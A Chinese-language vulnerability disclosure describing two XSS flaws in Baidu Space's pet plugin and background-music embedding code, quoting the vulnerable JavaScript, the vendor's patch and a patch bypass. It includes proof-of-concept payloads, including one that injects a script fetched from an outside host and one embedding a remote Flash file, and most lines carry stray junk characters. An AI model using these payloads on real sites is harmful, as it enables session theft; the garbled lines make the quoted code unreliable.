百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
8 t" L. i/ G. \) z# h
1 ]" w2 Z2 |5 |2 B6 Z( e/ _; K+ I1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. % f Z9 R H: R
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
* J* G# M) M$ C: v Y3 j* H# H0 ?3 U* N. ~
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 9 q* h5 i2 Y6 |7 E$ ^5 ^
其中BdUtil.insertWBR为 ' m* {3 K; s! N& N5 E0 x
function(text, step) {
4 X! X0 n9 W/ i, ]* e- E |1 _7 T& C var textarea = textAreaCache || getContainer();
- u: n4 ^! z" }# s8 X* u; N9 P if (!textarea) {
0 W) k( y* K2 f+ Q }% z6 Q return text; # S; `4 I0 \% ?0 p- t) I- m
} 0 b- O6 t% e% l# Y; U5 R
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
" F V$ \* T* V( W var string = textarea.value;
O: Z$ D& U% \$ t1 ?/ L var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); / k4 @3 p Z+ p* b; w9 C% S, f8 k
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
. S% ?; L. D+ m return result;
+ y8 f* Q8 ^) j} ( U! i! u" t8 ~
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 2 S! O3 l/ R4 ^5 y K, b
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 9 K" h8 b5 F( ~% p
6 U7 b4 f! [8 S% |
二:creatbgmusic() Dom-Xss Bug
: ~- a r _! V+ z3 l% x D) W百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
. ^; u4 @$ t* C H! u% u0 ~& R+ k. `+ r
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: & A% e) j0 Y. W, j
3 e0 N1 c2 V$ c
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { ! e0 s; R1 p" L3 B
//传入的murl赋值到bgmusic1和bgmusic2中
+ [, a2 b) d2 e, j //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
- ^& T- p( W+ E: W: x/ |, T0 l var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 4 b; H. _" o1 ?( F- F. {
if (musicnum <= 1) { 5 w( X3 {3 o- W% ]
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
- L8 ?7 F* J( j' [, g6 u S } 4 V W! p5 U/ _
bgmusic1 += "</OBJECT>";
+ [$ _& \' Q* ]8 l, d1 K var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
$ P m7 o2 q: o: k( c0 u9 Q if (musicnum <= 1) { . f2 b/ Z, ^, o- J; u$ Z8 a1 `; ?
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 0 _- x6 G# Y& a0 p; K$ l
}
* x/ A2 D1 m, C bgmusic2 += "> </EMBED>";
" U6 s' I4 D. ^: s3 ^4 x* a var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
3 h, |; g4 O( H var bgmus = detectWMP();
: \7 Z* f" h: W4 m/ j8 M if (functype == "FckMusicHelper") {
$ w1 D: M# ]2 t" M6 e/ B if (bgmus.installed) {
2 @/ S' [, d: W( t# A if (bgmus.type == "IE") { & u: S( O( N& _, r. M" |
return bgmusic1;
( e" n1 X: M: U } else if (bgmus.type == "NS") { ! g$ c ]: W+ `! L" K
return bgmusic2; ! t5 M( q' H' @4 ^8 ^$ c
} - b5 @# H- O# T" _" h8 U- N
} else {
; ~' ]2 n; ~- R/ {( n6 F return bgmusic3; - B% J; E% [) a; z+ r8 _% q
}
' P, [ G2 L1 z } else { - a6 R0 q' u1 t7 X
if (bgmus.installed) { # }% p: A7 Q) r; |4 K' R
//document.write 直接输出bgmusic变量 导致xss
! b5 U& F8 j7 \9 I if (bgmus.type == "IE") { 3 q7 u8 d+ Q% ^+ u- c" U
document.write(bgmusic1);
1 U) y m3 d \) g) j } else if (bgmus.type == "NS") { 1 y, e8 D! U- `2 A
document.write(bgmusic2);
# q6 T: I- s* O! ~ Y: Y; ~/ w N }
* e [9 |1 o+ x* X } else {
0 ~, P. @# E5 o document.write(bgmusic3);
, M3 H' c) _3 n7 @ C. u8 w( l }
* U( M* _9 [/ k: E6 c# e9 Y return "";
& ^2 C3 o# ], ? }
, A9 |* N+ f f% S1 R, }% G} ) R2 k* _( L8 ^- C+ l
5 n: {# j: a/ P/ w
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
& @+ U% J \5 Q* J$ ]8 T; I. `, e& A9 r' g. \ ?
function initBlogTextForFCK(){
( x& k' d0 X k. J j) M; i//fck init music
$ G! Z# l- h4 ~* \ d$ }4 Gif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
5 O' g3 R, q. j0 C/ a o' mvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
' V" A2 Y* C9 j. Z o' L! C' fvar isAutoPlay=true; 7 d, Y6 m4 p2 ^9 z& i
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
, e, A: H( {0 A8 y var img=imgBox; 2 Z+ |% d0 E! R0 ~) Z: n
if(img.getAttribute(’rel’)){ / }( o5 i3 O, p9 X
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
E0 q3 Y! O0 K! q( w var musicDiv = document.createElement("SPAN"); , ?+ P4 V+ P L; c; q
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] ( ?& X7 u- {3 b" ?7 I) @3 T
( @$ \3 w5 X% l& u8 k( X
.......................... m& K# [4 p# z, D
/ c2 [9 ^4 Z* K8 r) }- j P* { //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
5 S3 K" z* L3 B( U; n2 P" r! ]) p var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 8 F: T. C. x" y) V3 L& i4 o
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
b: P* m9 [9 L6 w, B, q8 W musicDiv.innerHTML=shtml;
) A: n2 Z" q6 U2 e9 u i--;n--;
" z, o7 g* e9 n+ Y( }: Y" P0 I0 g } 3 ]( s7 j' i# O- X6 M( @
} 1 b0 |' }/ @% L9 b9 h
! b5 A* \: `$ p3 N% k6 u从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. 6 B) g5 H: X( n4 b+ Q- r
$ p- @* k3 q9 E# X b
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
0 Q# d# m8 N" Z. E7 `
p8 S2 u/ U! S+ t等待官方补丁
6 i0 d/ ]" I6 R \; ?0 s: ~4 q7 A0 c& h0 t4 M
update 2010年5月13日 / |- H! Z) n* D
( ^( s3 @6 E0 n9 [, q/ Q( @* r
官方补丁:
% }* C# v, h* M, \& v! T2 [! K
% B. s& s9 _0 W/ avar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); * v' J& g$ e" c& T
改为:
( D2 s9 z$ a( q* i$ Qvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 2 F2 b' O6 `+ O$ U6 G; Z: x
) A. w, `+ ^: ]7 b* n
update 2010年5月13日 21:50:37 - r8 G4 k) L' ~% I- k$ B7 k
2 q! L& l8 i' p( d! C' d补丁存在漏洞 没有过滤" 可以继续跨:
5 i) \8 N+ \9 t5 Y$ z, o
3 R. o9 R: L0 b( A6 XNEW POC: y# [) i# K1 Z3 o& i* {
* h9 e$ D) b7 B; L; q<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
. [5 m6 }5 f1 O' A
6 m/ g& }* Z9 t# r `1 [allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
2 t; g( B& h/ `: n: D. r 5 N% `2 r, y5 y
|